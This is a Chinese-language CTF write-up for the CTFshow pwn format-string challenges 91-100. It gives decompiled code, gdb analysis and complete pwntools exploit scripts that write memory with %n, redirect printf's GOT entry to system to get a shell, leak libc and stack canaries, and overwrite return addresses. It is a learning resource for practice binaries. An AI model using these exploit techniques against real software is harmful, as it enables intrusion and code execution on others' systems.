不是一个难的知识点,前置知识如下:
https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/
pwn91 1 2 3 4 5 6 7 8 9 10 $ file pwn pwn: ELF 32 -bit LSB executable, Intel 80386 , version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2 , for GNU/Linux 3.2 .0 , BuildID[sha1]=df654620e103a12dcf3504e8e224f0289943620e, not stripped $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/91/pwn' Arch: i386-32 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000 ) Stripped: No
32位
1 2 3 4 5 6 7 8 9 10 11 12 unsigned int ctfshow () { char s[80 ]; unsigned int v2; v2 = __readgsdword(0x14u ); memset (s, 0 , sizeof (s)); read(0 , s, 0x50u ); printf (s); printf ("daniu now is :%d!\n" , daniu); return __readgsdword(0x14u ) ^ v2; }
这里printf出现了格式化字符串漏洞,我们动调一下:
(0xffffcecc-0xffffceb0)/4 = 7
32位地址是4字节,我们需要补6字节,所以payload = addr + padding_char*2 + b’7$n’
1 2 3 4 5 6 7 8 from pwn import *context(arch="i386" ,os="linux" ,log_level="debug" ) p = remote("pwn.challenge.ctf.show" ,28236 ) daniu_addr = 0x804B038 payload = p32(daniu_addr)+b'aa%7$n' p.sendline(payload) p.interactive()
pwn92 1 2 3 4 5 6 7 8 9 10 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/92/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No a1gorithms@A1gorithm:/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/92$ file pwn pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cc3a3d85efd4fcc2d62c02d12a5c26b2aab55e7d, not stripped
64位,这个程序这里展示了一下如何使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned __int64 flagishere () { FILE *stream; char format[10 ]; char s[72 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); stream = fopen("/ctfshow_flag" , "r" ); if ( !stream ) { puts ("/ctfshow_flag: No such file or directory." ); exit (0 ); } fgets(s, 64 , stream); printf ("Enter your format string: " ); __isoc99_scanf("%9s" , format); printf ("The flag is :" ); printf (format, s); return __readfsqword(0x28u ) ^ v4; }
程序把flag读入s,所以直接%s即可
pwn93 知识性的部分从CTFshow-pwn入门-格式化字符串(pwn91~100)WP_ctfshow pwn100-CSDN博客 转载
这道题一定要花费大量的时间去调试,理解格式化字符串的原理
checksec
64 位小端序,保护全开,ida 反编译
给了很多演示,我们逐个来分析一下,来深入理解一下
func1
在 64 位程序 函数调用 约定中,参数分别放在 rdi、rsi、rdx、rcx、r8、r9 寄存器上,多余的压在栈上
这里lea(Load Effective Address)将字符串%s%s%s%s%s%s...的地址加载到 rdi(第一个参数)
call _printf:调用 printf函数,打印格式化字符串
这里有一堆%s但是没有足够的参数,这导致printf会从寄存器和栈上中读取无效地址,导致崩溃
崩溃发生在 strlen函数内部(__strlen_avx2是 glibc 的优化版 strlen),strlen被调用是因为 printf遇到 %s时,会尝试读取栈上的一个地址并计算其长度,当 printf尝试用这些无效地址调用 strlen时,触发 Segmentation Fault
func2
%08x:以 8 位十六进制 输出 a2,不足 8 位时左侧补 0
%07x:以 7 位十六进制 输出 a3,不足 7 位时左侧补 0
%p:以 指针格式 输出 a4, a5, a6(和 %x类似,但更明确表示是指针)
gdb 调试看详细信息
gdb pwn进入调试
b func2打断点
r运行
输入 2
n步进至 printf 函数处
此时寄存器的值就是这样
寄存器
占位符
参数值
格式化输出
RSI
%08x
0x0
00000000
RDX
%07x
0xfffffffffffff7f2
实际只取低32位: fffff7f2
RCX
%p
0x0
(nil) 或 0x0
R9
%p
0xa
0xa
R9
%p
0x0
(nil) 或 0x0
func3
这个以%p输出了很多,gdb 调试
输出完寄存器上的还有栈上的
func4
%n 已经讲了很多次了
%0134512640d输出一个整数 1,宽度为 134512640字符,不足部分用 0填充
也就是往v1处写入134512640
看会汇编代码
vi在rbp-0xc
我们进 gdb 调试,用x/bx $rbp=0xc看初始值
运行到 printf 再看 v1 的值
被写入0x00,这个结果是对的,因为:
134512640,十六进制即 0x08080800
v1是 char类型(1字节),仅保留最低 8 位:0x08080800 & 0xFF = 0x00
func5
可以自行在 gdb 中调试测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 printf("%s %hhn\n", (const char *)v3, &v1); # %hhn:向 &v1 写入已输出字符数的低1字节(char类型) # "Hello CTFshow" + 格式字符串 = 14字节 → 写入 v1 的第1字节为 14(0x0E) printf("%s %hn\n", (const char *)v3, (__int64 *)((char *)&v1 + 1)); # %hn:向 &v1+1 写入已输出字符数的低2字节(short类型) # 总长度14 → 写入 v1 的第2-3字节为 0x000E printf("%s %n\n", (const char *)v3, (__int64 *)((char *)&v1 + 3)); # %n:向 &v1+3 写入已输出字符数的4字节(int类型) # 总长度14 → 写入 v1 的第4-7字节为 0x0000000E printf("%s %ln\n", (const char *)v3, (__int64 *)((char *)&v1 + 7)); # %ln:向 &v1+7 写入已输出字符数的8字节(long类型) # 总长度14 → 写入 v1 的第8字节为 0x0E printf("%s %lln\n", (const char *)v3, &v2); # %lln:向 &v2 写入已输出字符数的8字节(long long类型) # 总长度14 → 写入 v2 的8字节为 0x000000000000000E v1 原始值:[??][??][??][??][??][??][??][??] 操作后值: 1. %hhn → [0E][??][??][??][??][??][??][??] 2. %hn → [0E][00][0E][??][??][??][??][??] 3. %n → [0E][00][0E][00][00][00][0E][??] 4. %ln → [0E][00][0E][00][00][00][0E][0E] 5. %lln → v2 = [00][00][00][00][00][00][00][0E] (gdb) x/gx $rbp-0x2f # 查看v1的最终8字节值 (gdb) x/gx $rbp-0x20 # 查看v2的值
exit0
这里直接打印出来 flag,nc 连接,输入7
flag 不是目标,完全理解上面所讲的东西才算学到了。
pwn94 1 2 3 4 5 6 7 8 9 10 11 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/94/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No Debuginfo: Yes $ file pwn pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=bcb88fed6762e2c44cc513733ce0c7a7c96abd06, with debug_info, not strippe
32位,Partial RELRO,直接改got表,这里引入fmtstr_payload函数:
1 2 3 4 5 6 7 fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’) 第一个参数表示格式化字符串的偏移; 第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf 的GOT数据改为system函数地址,就写成{printfGOT: systemAddress}; 第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可; 第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。 fmtstr_payload函数返回的就是payload
1 2 3 4 5 6 7 8 9 10 11 12 13 void __noreturn ctfshow () { char buf[100 ]; unsigned int v1; v1 = __readgsdword(0x14u ); while ( 1 ) { memset (buf, 0 , sizeof (buf)); read(0 , buf, 0x64u ); printf (buf); } }
因为这里重复执行,把printf函数替换为system即可,不需要再用libc算基地址什么的了,先调试偏移量:
1 2 aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p aaaa.0xff9c5478.0x64.0x80486e5.0xef7ed620.0x10.0x61616161.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
offset = 6,payload如下
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *elf = ELF(r"E:\CTF\pwn学习\CTFSHOW\FormatString\94\pwn" ) context(arch="i386" ,os="linux" ,log_level="debug" ) p = remote("pwn.challenge.ctf.show" ,28165 ) offset = 6 printaddr = elf.got['printf' ] system_addr = elf.plt['system' ] payload1 = fmtstr_payload(offset, {printaddr: system_addr}) p.sendline(payload1) p.sendline(b'/bin/sh' ) p.interactive()
pwn95 1 2 3 4 5 6 7 8 9 10 11 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/95/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No Debuginfo: Yes $ file pwn pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd41521e7b984eec9931d9f1e6f8783abceaf0a9, with debug_info, not stripped
和上一题基本上一样,只不过说程序不自带system了,所以我们用libc来做。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import * from LibcSearcher import * context (arch="i386" ,os="linux" ,log_level="debug" ) # elf = ELF(r"E:\CTF\pwn学习\CTFSHOW\FormatString\95\pwn" ) elf = ELF(r"/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/95/pwn" ) # libc = ELF(r"E:\CTF\pwn学习\CTFSHOW\FormatString\95\libc.so.6" ) p = remote("pwn.challenge.ctf.show" ,28137 ) # p = process(r"E:\CTF\pwn学习\CTFSHOW\FormatString\95\pwn" ) offset = 6 printaddr = elf.got['printf' ] payload1 = p32(printaddr)+b'%6$s' p.sendline(payload1) leak_addr = u32(p.recvuntil(b'\xf7' )[-4 :]) print(hex(leak_addr)) libc = LibcSearcher('printf' ,leak_addr) libc_base = leak_addr - libc.dump('printf' ) system_addr = libc_base + libc.dump('system' ) payload = fmtstr_payload(offset, {printaddr: system_addr}) p.sendline(payload) p.sendline(b'/bin/sh\x00' ) p.interactive()
pwn96 1 2 3 4 5 6 7 8 9 10 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/96/pwn' Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 ) Stripped: No a1gorithms@A1gorithm:/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/96$ file pwn pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV) , dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=62 eaae1a0398ccca1013a958794c3f63da19cd1e, not stripped
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 int __cdecl __noreturn main (int argc, const char argv, const char envp) { char s_1[64 ]; char s[64 ]; FILE *stream; char *s_2; int *p_argc; p_argc = &argc; setvbuf(stdout , 0 , 2 , 0 ); s_2 = s_1; memset (s, 0 , sizeof (s)); memset (s, 0 , sizeof (s)); puts (asc_8048830); puts (asc_80488A4); puts (asc_8048920); puts (asc_80489AC); puts (asc_8048A3C); puts (asc_8048AC0); puts (asc_8048B54); puts (" * ************************************* " ); puts (aClassifyCtfsho); puts (" * Type : Format_String " ); puts (" * Site : https://ctf.show/ " ); puts (" * Hint : Flag on the stack! " ); puts (" * ************************************* " ); puts ("It's time to learn about format strings!" ); puts ("Where is the flag?" ); stream = fopen("/ctfshow_flag" , "r" ); if ( !stream ) { puts ("/ctfshow_flag: No such file or directory." ); exit (0 ); } fgets(s_1, 64 , stream); while ( 1 ) { printf ("$ " ); fgets(s, 64 , stdin ); printf (s); } }
s距离s_1是0x30个字节,可以打印12“地址”(本质把flag用地址形式打印出来罢了),把地址后面的12个地址形式的flag编码回去即可:
1 2 3 4 5 6 7 8 from pwn import * str = b'0x73667463.0x7b776f68.0x30666435.0x38316137.0x3039632d.0x38342d65.0x612d3763.0x2d363765.0x61376162.0x36356638.0x64393234.0xa7d' .split(b'.' ) print(str) list = []for i in str: list .append(eval(i)) for i in list : print(p32(i).decode(),end='')
1 2 [b'0x73667463' , b'0x7b776f68' , b'0x30666435' , b'0x38316137' , b'0x3039632d' , b'0x38342d65' , b'0x612d3763' , b'0x2d363765' , b'0x61376162' , b'0x36356638' , b'0x64393234' , b'0xa7d' ] ctfshow{5 df07a18-c90e-48 c7-ae76-ba7a8f56429d}
pwn97 32位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 int __cdecl main (int argc, const char argv, const char envp) { char s[64 ]; unsigned int v5; int *p_argc; p_argc = &argc; v5 = __readgsdword(0x14u ); setvbuf(stdout , 0 , 2 , 0 ); puts (asc_8048A64); puts (asc_8048AD8); puts (asc_8048B54); puts (asc_8048BE0); puts (asc_8048C70); puts (asc_8048CF4); puts (asc_8048D88); puts (" * ************************************* " ); puts (aClassifyCtfsho); puts (" * Type : Format_String " ); puts (" * Site : https://ctf.show/ " ); puts (" * Hint : Find a way to elevate your privileges! " ); puts (" * ************************************* " ); puts ("You can use two command('cat /ctfshow_flag' && 'shutdown')" ); putchar (36 ); fgets(s, 64 , stdin ); if ( strstr (s, "shutdown" ) ) { puts ("See you~" ); exit (1 ); } if ( !strstr (s, "cat /ctfshow_flag" ) ) { puts ("Here you are:\n" ); printf (s); } get_flag(); return 0 ; }
1 2 3 4 5 6 7 int get_flag () { if ( !check ) return puts ("Permission denied." ); puts ("Your privileges have been elevated to 'root'.\n#cat /ctfshow_flag" ); return flag(); }
第11个字符
1 2 3 4 5 6 7 8 9 from pwn import *elf = ELF(r"/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/97/pwn" ) context(arch="i386" ,os="linux" ,log_level="debug" ) p = remote("pwn.challenge.ctf.show" ,28251 ) check_addr = 0x804B040 payload = p32(check_addr)+b'a%11$n' p.sendlineafter(b'shutdown\')' ,payload) p.interactive()
pwn98 Canary?有没有办法绕过呢?
1 2 3 4 5 6 7 8 9 10 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/98/pwn' Arch: i386-32 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000 ) Stripped: No $ file pwn pwn: ELF 32 -bit LSB executable, Intel 80386 , version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2 , for GNU/Linux 3.2 .0 , BuildID[sha1]=10fb496d1ade2fd653aa125e4215f3f7fb39062d, not stripped
1 2 3 4 5 6 7 8 9 10 11 unsigned int ctfshow() { char s[40 ]; // [esp+4h] [ebp-34h] BYREF unsigned int v2; // [esp+2Ch] [ebp-Ch] v2 = __readgsdword(0x14u); gets(s); printf(s); gets(s); return __readgsdword(0x14u) ^ v2; }
1 2 3 4 5 int _stack_check(){ puts("you_find_me_but_I_have_canary_protect_me!" ); return system("/bin/sh" ); }
这里的v2就是canary,这里是先get再打印,再get。所以可以先打印v2的值之后再利用栈溢出把返回地址转到_stack_check()函数的位置。canary的形式如下:
我们来看一下栈布局:
所以是第5个参数指向s的起始地址
canary就是就是var_C,5+(0x34-0xC)/4 = 15,所以canary是第15个参数:
payload = padding+canary+padding+backdoor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *elf = ELF(r"/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/FormatString/98/pwn" ) context(arch="i386" ,os="linux" ,log_level="debug" ) p = remote("pwn.challenge.ctf.show" ,28237 ) check_addr = 0x80486CE p.sendline(b'%15$p' ) v2=eval (p.recv()[-10 :]) payload2 = 0x28 * b'a' + p32(v2) + 0xC * b'a' + p32(check_addr) p.sendline(payload2) p.interactive()
0x34-0xc = 0x28(s到v2的距离)、0x34+0x4-0x28-4 = 0xC(这是第二个padding的距离)
pwn99 fmt盲打
第6个参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *context(os='linux' , arch='amd64' , log_level='error' ) HOST = 'pwn.challenge.ctf.show' PORT = 28177 def hex_to_le_ascii (hex_str ): if not hex_str.startswith('0x' ): return '' try : val = int (hex_str, 16 ) raw = p64(val) vis = '' .join(chr (b) if 32 <= b <= 126 else '.' for b in raw) return vis except : return '' for i in range (1 , 101 ): try : io = remote(HOST, PORT) io.recv(timeout=0.5 ) payload = f'%{i} $p' .encode() io.sendline(payload) data = io.recvall(timeout=1 ).decode(errors='ignore' ).strip() io.close() line = data.splitlines()[-2 ] if 'お前も舞うか?' in data and len (data.splitlines()) >= 2 else data.splitlines()[-1 ] line = line.strip() if line.startswith('0x' ): ascii_part = hex_to_le_ascii(line) print (f'[{i:03d} ] {line:<18 } -> {ascii_part} ' ) else : print (f'[{i:03d} ] {line} ' ) except Exception as e: print (f'[{i:03d} ] ERROR: {e} ' )
把栈上的信息用%p和%s打印出来
pwn100 有些东西好像需要一定条件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned __int64 whattime() { __int64 v1; // [rsp+0h] [rbp-20h] BYREF __int64 v2; // [rsp+8h] [rbp-18h] BYREF __int64 v3; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); puts("Hello my bro." ); printf("What time is it :" ); _isoc99_scanf("%ld" , &v1); _isoc99_scanf("%ld" , &v2); _isoc99_scanf("%ld" , &v3); printf("Ok! time is %ld:%ld:%ld\n" , v1, v2, v3); return __readfsqword(0x28u) ^ v4; }
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 menu() { unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); puts("1. leak" ); puts("2. fmt_attack" ); puts("3. get_flag" ); puts("4. exit" ); printf(">>" ); return __readfsqword(0x28u) ^ v1; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int get_int(){ char nptr[8 ]; // [rsp+0h] [rbp-20h] BYREF __int64 v2; // [rsp+8h] [rbp-18h] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); *(_QWORD *)nptr = 0 ; v2 = 0 ; read_n(nptr, 15 ); return atoi(nptr); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 unsigned __int64 __fastcall fmt_attack(int *a1) { char format [56 ]; // [rsp+10h] [rbp-40h] BYREF unsigned __int64 v3; // [rsp+48h] [rbp-8h] v3 = __readfsqword(0x28u); memset(format , 0 , 0x30u); if ( *a1 > 0 ) { puts("No way!" ); exit(1 ); } *a1 = 1 ; read_n(format , 40 ); printf(format ); return __readfsqword(0x28u) ^ v3; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned __int64 __fastcall leak(int *a1) { void *buf; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); if ( *a1 > 0 ) { puts("No way!" ); exit(1 ); } *a1 = 1 ; read_n((char *)&buf, 8 ); write(1 , buf, 1u); return __readfsqword(0x28u) ^ v3; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void __noreturn get_flag() { int fd; // [rsp+Ch] [rbp-64h] char s2[88 ]; // [rsp+10h] [rbp-60h] BYREF unsigned __int64 v2; // [rsp+68h] [rbp-8h] v2 = __readfsqword(0x28u); memset(s2, 0 , 0x50u); puts("Flag is here ! Come on !!" ); read_n(s2, 64 ); if ( !strncmp(secret, s2, 0x40u) ) { close(1 ); fd = open ("/flag" , 0 ); read(fd, s2, 0x50u); printf(s2); exit(0 ); } puts("No way!" ); exit(1 ); }
这个时候secret还没有写入;现在来看主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 int __fastcall __noreturn main(int argc, const char argv, const char envp){ unsigned int int ; // eax int v4; // [rsp+Ch] [rbp-14h] BYREF _DWORD v5[2 ]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); initial(argc, argv, envp); whattime(); v4 = 0 ; v5[0 ] = 0 ; while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); int = get_int(); v5[1 ] = int ; if ( int != 2 ) break ; fmt_attack(&v4); } if ( int > 2 ) break ; if ( int == 1 ) leak(v5); } if ( int == 3 ) get_flag(); if ( int == 4 ) { puts("Bye!" ); exit(0 ); } } }
思路是:利用fmt_attack()替换该函数返回地址值,直接跳转到get_flag()函数中间,然后获取flag;我们先来测一下:
1 2 read_n(format, 40 ); printf (format);
结合一下代码,也就是说%8$p是打印的format[0:8]的地址。在fmt_attack函数中,完成一次循环之后a1会被重置成1,这样第二次进入循环就直接退出程序。
1 2 3 4 5 6 if ( *a1 > 0 ){ puts ("No way!" ); exit (1 ); } *a1 = 1 ;
所以说我们第一次进入fmt_attack时,需要利用格式化字符串先把a1重置成0之后才能无限循环。前面我们已经知道%8$p是打印的format[0:8]的地址,看一下栈上情况:
a1作为参数传入(rdi),放在了rbp-0x48的位置:
结合栈上的情况可以知道format前一个参数,即%7$p就是a1,所以每次进循环先要写%7$n(a1的值覆盖为0);同理该函数的返回地址的起始地址是0x40+8,隔了9个参数,即%17$p就是返回地址。
调用fmt_attack的返回地址是pie+0x102c
覆盖的返回地址是pie+0xf56
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context(arch='amd64' , os='linux' , log_level='info' ) p = remote('pwn.challenge.ctf.show' , 28238 ) p.sendlineafter(b'What time is it :' , b'1 1 1' ) p.sendlineafter(b'>>' , b'2' ) p.sendline(b'%7$n.%17$p' ) return_addr = eval (p.recvline()[1 :15 ]) elf_base = return_addr - 0x102c flag_addr = elf_base + 0xF56 p.sendlineafter(b'>>' , b'2' ) p.sendline(b'%7$n.%16$p' ) main_rbp = eval (p.recvline()[1 :15 ]) slot_addr = main_rbp - 0x28 flag_addr = flag_addr & 0xffff fmt = b'%' +str (flag_addr).encode()+b'c%10$hn' payload = fmt.ljust(0x10 , b'a' )+p64(slot_addr) p.sendlineafter(b'>>' , b'2' ) p.sendline(payload) p.interactive()